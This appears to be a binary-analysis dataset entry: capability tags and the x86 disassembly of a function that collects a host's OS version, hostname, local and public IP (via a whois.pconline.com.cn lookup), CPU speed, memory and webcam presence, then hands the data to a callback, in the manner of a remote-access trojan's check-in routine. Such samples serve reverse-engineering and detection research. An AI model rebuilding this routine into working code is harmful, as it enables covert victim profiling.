Function at 0x10006f30
Capabilities:
Get cpu information
Get hostname
Get memory capacity
Get system information on windows
Print debug messages
Query or enumerate registry value
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100116d2
mov eax, dword fs:[0]
push eax
sub esp, 0x9b4
mov eax, dword [0x10016034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov ecx, 0x9b
lea esi, [ebp + 0xc]
lea edi, [ebp - 0x8d0]
xor ebx, ebx
push str.NTDLL
mov dword [ebp - 0x990], eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x660], 0x67
mov byte [ebp - 0x4ba], bl
mov dword [ebp - 0x65c], 0x11c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, ebx
je 0x10006fb8
push str.RtlGetVersion
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x10006fb8
lea ecx, [ebp - 0x65c]
push ecx
call eax
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x10012974
call edi
lea esi, [ebp - 0x210]
call fcn.10006a40
mov edx, esi
push edx
call edi
push 0xc8
lea eax, [ebp - 0x110]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x32
mov ecx, esi
push ebx
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x100
mov edx, esi
push edx
call dword [sym.imp.WS2_32.dll_gethostname]
mov eax, esi
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
cmp esi, ebx
je 0x100070b2
mov ecx, dword [esi + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, dword [sym.imp.MSVCR100.dll_strcat_s]
push eax
lea ecx, [ebp - 0x110]
push 0xc8
push ecx
call edi
add esp, 0xc
push 0x10012978
lea edx, [ebp - 0x110]
push 0xc8
push edx
call edi
movsx ecx, word [esi + 0xa]
mov eax, dword [esi + 0xc]
add ecx, dword [eax]
add esp, 0xc
cmp ecx, dword [esi]
jae 0x100070b2
xor edi, edi
mov edx, dword [edi + eax + 4]
mov eax, dword [edx]
add edi, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x110]
push 0xc8
push ecx
call dword [sym.imp.MSVCR100.dll_strcat_s]
add esp, 0xc
push 0x10012978
lea edx, [ebp - 0x110]
push 0xc8
push edx
call dword [sym.imp.MSVCR100.dll_strcat_s]
movsx ecx, word [esi + 0xa]
mov eax, dword [esi + 0xc]
add ecx, dword [edi + eax]
add esp, 0xc
cmp ecx, dword [esi]
jb 0x10007064
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp dword [ebp - 0x668], 1
mov dword [ebp - 0x4f0], eax
jne 0x100070e1
push str.TCPl
push 0x10012984
lea eax, [ebp - 0x442]
push eax
jmp 0x100070f2
push str.UDPl
push 0x10012984
lea ecx, [ebp - 0x442]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea esi, [ebp - 0x310]
call fcn.10006a40
mov edx, esi
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, 0xc
lea esi, [ebp - 0x310]
lea edi, [ebp - 0x4ec]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, 0xf
push str.http:__whois.pconline.com.cn_ipJson.jsp
lea esi, [edi + 0x18]
lea eax, [ebp - 0x3cc]
mov dword [ebp - 0x3b8], edi
mov dword [ebp - 0x3bc], ebx
mov byte [ebp - 0x3cc], bl
call fcn.1000da00
lea ecx, [ebp - 0x3cc]
mov dword [ebp - 4], ebx
call fcn.10006d90
mov esi, eax
mov ecx, esi
mov dword [ebp - 0x39c], edi
mov dword [ebp - 0x3a0], ebx
mov byte [ebp - 0x3b0], bl
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x10007175
sub ecx, edi
push esi
mov esi, ecx
lea eax, [ebp - 0x3b0]
call fcn.1000da00
mov byte [ebp - 4], 1
mov dword [ebp - 0x8e4], ebx
mov dword [ebp - 0x8e0], ebx
mov dword [ebp - 0x8dc], ebx
call dword [sym.imp.MSVCP100.dll_private:_static_class_std::locale::_Locimp____cdecl_std::locale::_Init_void_]
mov dword [ebp - 0x8d8], eax
call dword [sym.imp.MSVCP100.dll_private:_static_class_std::locale::_Locimp____cdecl_std::locale::_Getgloballocale_void_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_void___thiscall_std::locale::facet::_Incref_void_]
mov byte [ebp - 4], 2
mov eax, str._ip_:_______
push 0x20
mov dword [ebp - 0x988], eax
mov dword [ebp - 0x984], eax
mov dword [ebp - 0x980], 0x100129c6
mov dword [ebp - 0x97c], ebx
mov dword [ebp - 0x978], ebx
mov dword [ebp - 0x974], ebx
call dword [sym.imp.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_]
add esp, 4
cmp eax, ebx
je 0x10007217
mov dword [eax + 4], 0x14
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax], vtable.std::tr1::_Root_node.0
mov dword [eax + 0x1c], ebx
jmp 0x10007219
xor eax, eax
lea ecx, [ebp - 0x8e0]
mov dword [ebp - 0x970], eax
mov dword [ebp - 0x96c], eax
mov eax, 1
mov edx, ecx
lea esi, [ebp - 0x988]
mov dword [ebp - 0x968], ebx
mov dword [ebp - 0x964], eax
mov dword [ebp - 0x960], ecx
mov dword [ebp - 0x95c], 0x100
mov dword [ebp - 0x958], 4
mov dword [ebp - 0x954], edx
mov dword [ebp - 0x950], eax
mov dword [ebp - 0x944], 0x8775dfb
call fcn.100088e0
mov eax, esi
push eax
call fcn.10008290
mov edi, eax
cmp edi, ebx
je 0x1000728a
inc dword [edi + 0x1c]
mov eax, dword [ebp - 0x8e4]
cmp eax, ebx
je 0x100072b8
dec dword [eax + 0x1c]
jne 0x100072b8
mov esi, dword [ebp - 0x8e4]
cmp esi, ebx
je 0x100072b8
lea eax, [esi + 0xc]
mov ecx, esi
mov esi, dword [eax]
mov dword [eax], ebx
mov edx, dword [ecx]
mov eax, dword [edx]
push 1
call eax
cmp esi, ebx
jne 0x100072a3
mov dword [ebp - 0x8e4], edi
mov dword [ebp - 0x978], ebx
mov dword [ebp - 0x974], ebx
mov dword [ebp - 0x970], ebx
mov dword [ebp - 0x96c], ebx
mov dword [ebp - 0x964], ebx
mov dword [ebp - 0x960], ebx
mov byte [ebp - 0x95c], bl
mov dword [ebp - 0x958], ebx
mov dword [ebp - 0x954], ebx
mov byte [ebp - 0x950], bl
mov dword [ebp - 0x94c], ebx
mov dword [ebp - 0x948], ebx
mov byte [ebp - 0x944], bl
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x39c]
mov ecx, dword [ebp - 0x3b0]
mov esi, ecx
cmp edx, 0x10
jae 0x1000740e
lea esi, [ebp - 0x3b0]
mov eax, esi
add eax, dword [ebp - 0x3a0]
cmp edx, 0x10
jae 0x10007340
lea ecx, [ebp - 0x3b0]
push esi
lea edx, [ebp - 0x8e4]
push edx
lea edx, [ebp - 0x978]
push edx
push eax
push ecx
call fcn.10008120
add esp, 0x14
test al, al
je 0x10007454
mov ecx, dword [ebp - 0x970]
mov esi, dword [ebp - 0x974]
sub ecx, esi
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
lea eax, [ebp - 0x94c]
jbe 0x1000738d
lea eax, [esi + 0xc]
lea esi, [ebp - 0x30]
call fcn.10007d40
push ebx
mov ecx, esi
mov byte [ebp - 4], 5
push ecx
or ecx, 0xffffffff
lea edi, [ebp - 0x394]
mov dword [ebp - 0x380], 0xf
mov dword [ebp - 0x384], ebx
mov byte [ebp - 0x394], bl
call fcn.1000d960
mov byte [ebp - 4], 4
cmp dword [ebp - 0x1c], 0x10
jb 0x100073d8
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
cmp dword [ebp - 0x384], 0x32
mov eax, dword [ebp - 0x394]
mov esi, 0x10
jae 0x10007415
cmp dword [ebp - 0x380], esi
jae 0x100073fa
lea eax, [ebp - 0x394]
lea edx, [ebp - 0x524]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x10007402
jmp 0x1000743c
mov eax, ecx
jmp 0x1000732f
cmp dword [ebp - 0x380], esi
jae 0x10007423
lea eax, [ebp - 0x394]
push 0x31
push eax
lea eax, [ebp - 0x524]
push eax
call dword [sym.imp.MSVCR100.dll_strncpy]
add esp, 0xc
mov byte [ebp - 0x4f3], bl
cmp dword [ebp - 0x380], esi
jb 0x10007454
mov ecx, dword [ebp - 0x394]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea edx, [ebp - 0x524]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [ebp - 0x8f4], ebx
mov dword [ebp - 0x8f0], ebx
mov dword [ebp - 0x8ec], ebx
call dword [sym.imp.MSVCP100.dll_private:_static_class_std::locale::_Locimp____cdecl_std::locale::_Init_void_]
mov dword [ebp - 0x8e8], eax
call dword [sym.imp.MSVCP100.dll_private:_static_class_std::locale::_Locimp____cdecl_std::locale::_Getgloballocale_void_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_void___thiscall_std::locale::facet::_Incref_void_]
mov byte [ebp - 4], 6
mov eax, str._addr_:_______
push 0x20
mov dword [ebp - 0x940], eax
mov dword [ebp - 0x93c], eax
mov dword [ebp - 0x938], 0x100129d8
mov dword [ebp - 0x934], ebx
mov dword [ebp - 0x930], ebx
mov dword [ebp - 0x92c], ebx
call dword [sym.imp.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_]
add esp, 4
cmp eax, ebx
je 0x100074e8
mov dword [eax + 4], 0x14
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax], vtable.std::tr1::_Root_node.0
mov dword [eax + 0x1c], ebx
jmp 0x100074ea
xor eax, eax
lea ecx, [ebp - 0x8f0]
mov dword [ebp - 0x928], eax
mov dword [ebp - 0x924], eax
mov eax, 1
mov edx, ecx
lea esi, [ebp - 0x940]
mov dword [ebp - 0x920], ebx
mov dword [ebp - 0x91c], eax
mov dword [ebp - 0x918], ecx
mov dword [ebp - 0x914], 0x100
mov dword [ebp - 0x910], 4
mov dword [ebp - 0x90c], edx
mov dword [ebp - 0x908], eax
mov dword [ebp - 0x8fc], 0x8775dfb
call fcn.100088e0
mov eax, esi
push eax
call fcn.10008290
mov edi, eax
cmp edi, ebx
je 0x1000755b
inc dword [edi + 0x1c]
mov eax, dword [ebp - 0x8f4]
cmp eax, ebx
je 0x10007589
dec dword [eax + 0x1c]
jne 0x10007589
mov esi, dword [ebp - 0x8f4]
cmp esi, ebx
je 0x10007589
lea eax, [esi + 0xc]
mov ecx, esi
mov esi, dword [eax]
mov dword [eax], ebx
mov edx, dword [ecx]
mov eax, dword [edx]
push 1
call eax
cmp esi, ebx
jne 0x10007574
mov dword [ebp - 0x8f4], edi
mov dword [ebp - 0x930], ebx
mov dword [ebp - 0x92c], ebx
mov dword [ebp - 0x928], ebx
mov dword [ebp - 0x924], ebx
mov dword [ebp - 0x91c], ebx
mov dword [ebp - 0x918], ebx
mov byte [ebp - 0x914], bl
mov dword [ebp - 0x910], ebx
mov dword [ebp - 0x90c], ebx
mov byte [ebp - 0x908], bl
mov dword [ebp - 0x904], ebx
mov dword [ebp - 0x900], ebx
mov byte [ebp - 0x8fc], bl
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x39c]
mov edx, dword [ebp - 0x3b0]
mov esi, edx
cmp eax, 0x10
jae 0x100076e1
lea esi, [ebp - 0x3b0]
mov ecx, esi
add ecx, dword [ebp - 0x3a0]
cmp eax, 0x10
mov eax, edx
jae 0x10007613
lea eax, [ebp - 0x3b0]
push esi
lea edx, [ebp - 0x8f4]
push edx
lea edx, [ebp - 0x930]
push edx
push ecx
push eax
call fcn.10008120
add esp, 0x14
test al, al
je 0x10007727
mov ecx, dword [ebp - 0x928]
mov esi, dword [ebp - 0x92c]
sub ecx, esi
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
lea eax, [ebp - 0x904]
jbe 0x10007660
lea eax, [esi + 0xc]
lea esi, [ebp - 0x30]
call fcn.10007d40
push ebx
mov ecx, esi
mov byte [ebp - 4], 9
push ecx
or ecx, 0xffffffff
lea edi, [ebp - 0x394]
mov dword [ebp - 0x380], 0xf
mov dword [ebp - 0x384], ebx
mov byte [ebp - 0x394], bl
call fcn.1000d960
mov byte [ebp - 4], 8
cmp dword [ebp - 0x1c], 0x10
jb 0x100076ab
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
cmp dword [ebp - 0x384], 0x32
mov eax, dword [ebp - 0x394]
mov esi, 0x10
jae 0x100076e8
cmp dword [ebp - 0x380], esi
jae 0x100076cd
lea eax, [ebp - 0x394]
lea edx, [ebp - 0x474]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x100076d5
jmp 0x1000770f
mov ecx, edx
jmp 0x10007600
cmp dword [ebp - 0x380], esi
jae 0x100076f6
lea eax, [ebp - 0x394]
push 0x31
push eax
lea eax, [ebp - 0x474]
push eax
call dword [sym.imp.MSVCR100.dll_strncpy]
add esp, 0xc
mov byte [ebp - 0x443], bl
cmp dword [ebp - 0x380], esi
jb 0x10007727
mov ecx, dword [ebp - 0x394]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea edx, [ebp - 0x474]
push edx
call edi
push str.789
call edi
mov eax, 4
mov dword [ebp - 0x98c], eax
mov dword [ebp - 0x8f8], eax
lea eax, [ebp - 0x8d4]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [ebp - 0x98c]
push ecx
mov ecx, dword [ebp - 0x8d4]
lea edx, [ebp - 0x994]
push edx
lea eax, [ebp - 0x8f8]
push eax
push ebx
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x8d4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x994]
lea ecx, [ebp - 0x9bc]
push ecx
mov dword [ebp - 0x540], eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x9a8]
push edx
lea eax, [ebp - 0x53c]
push 0x10012ac4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x410]
push ecx
mov dword [ebp - 0x410], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x408]
mov edx, dword [ebp - 0x404]
shrd eax, edx, 0x14
shr edx, 0x14
push 0x100129e0
mov dword [ebp - 0x994], edx
mov dword [ebp - 0x528], eax
call edi
xor eax, eax
xor esi, esi
cmp eax, ebx
jne 0x10007832
push 0x32
lea eax, [ebp - 0x44]
push eax
push 0x64
lea ecx, [ebp - 0x378]
push ecx
push esi
call dword [sym.imp.AVICAP32.dll_capGetDriverDescriptionA]
inc esi
cmp esi, 0xa
jl 0x10007810
cmp eax, ebx
setne dl
mov byte [ebp - 0x4ba], dl
mov dword [ebp - 0x4b8], ebx
xor eax, eax
jmp 0x10007850
mov cl, byte [ebp + eax - 0x76e]
mov byte [ebp + eax - 0x494], cl
inc eax
cmp cl, bl
jne 0x10007850
lea esi, [ebp - 0x4b4]
call fcn.10006b10
test eax, eax
jne 0x10007885
lea eax, [ebp - 0x7a0]
push eax
mov ecx, esi
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push 0x100129e4
call edi
mov ecx, dword [ebp - 0x990]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
push 0x250
lea eax, [ebp - 0x660]
push eax
call edx
push 0x100129e8
mov dword [ebp - 0x8d4], eax
call edi
mov eax, dword [ebp - 0x92c]
mov edi, dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
cmp eax, ebx
je 0x100078c8
push eax
call edi
add esp, 4
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x8f4]
cmp eax, ebx
je 0x100078fa
dec dword [eax + 0x1c]
jne 0x100078fa
mov esi, dword [ebp - 0x8f4]
cmp esi, ebx
je 0x100078fa
lea eax, [esi + 0xc]
mov ecx, esi
mov esi, dword [eax]
mov dword [eax], ebx
mov eax, dword [ecx]
mov edx, dword [eax]
push 1
call edx
cmp esi, ebx
jne 0x100078e5
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x8e8]
mov dword [ebp - 0x8f4], ebx
cmp ecx, ebx
je 0x10007922
call dword [sym.imp.MSVCP100.dll_public:_class_std::locale::facet____thiscall_std::locale::facet::_Decref_void_]
cmp eax, ebx
je 0x10007922
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx]
push 1
call eax
mov eax, dword [ebp - 0x974]
cmp eax, ebx
je 0x10007932
push eax
call edi
add esp, 4
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0x8e4]
cmp eax, ebx
je 0x10007964
dec dword [eax + 0x1c]
jne 0x10007964
mov esi, dword [ebp - 0x8e4]
cmp esi, ebx
je 0x10007964
lea eax, [esi + 0xc]
mov ecx, esi
mov esi, dword [eax]
mov dword [eax], ebx
mov edx, dword [ecx]
mov eax, dword [edx]
push 1
call eax
cmp esi, ebx
jne 0x1000794f
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x8d8]
mov dword [ebp - 0x8e4], ebx
cmp ecx, ebx
je 0x1000798c
call dword [sym.imp.MSVCP100.dll_public:_class_std::locale::facet____thiscall_std::locale::facet::_Decref_void_]
cmp eax, ebx
je 0x1000798c
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx]
push 1
call eax
mov esi, 0x10
cmp dword [ebp - 0x39c], esi
jb 0x100079a5
mov ecx, dword [ebp - 0x3b0]
push ecx
call edi
add esp, 4
mov dword [ebp - 0x39c], 0xf
mov dword [ebp - 0x3a0], ebx
mov byte [ebp - 0x3b0], bl
cmp dword [ebp - 0x3b8], esi
jb 0x100079cf
mov edx, dword [ebp - 0x3cc]
push edx
call edi
add esp, 4
mov eax, dword [ebp - 0x8d4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001015c
mov esp, ebp
pop ebp
ret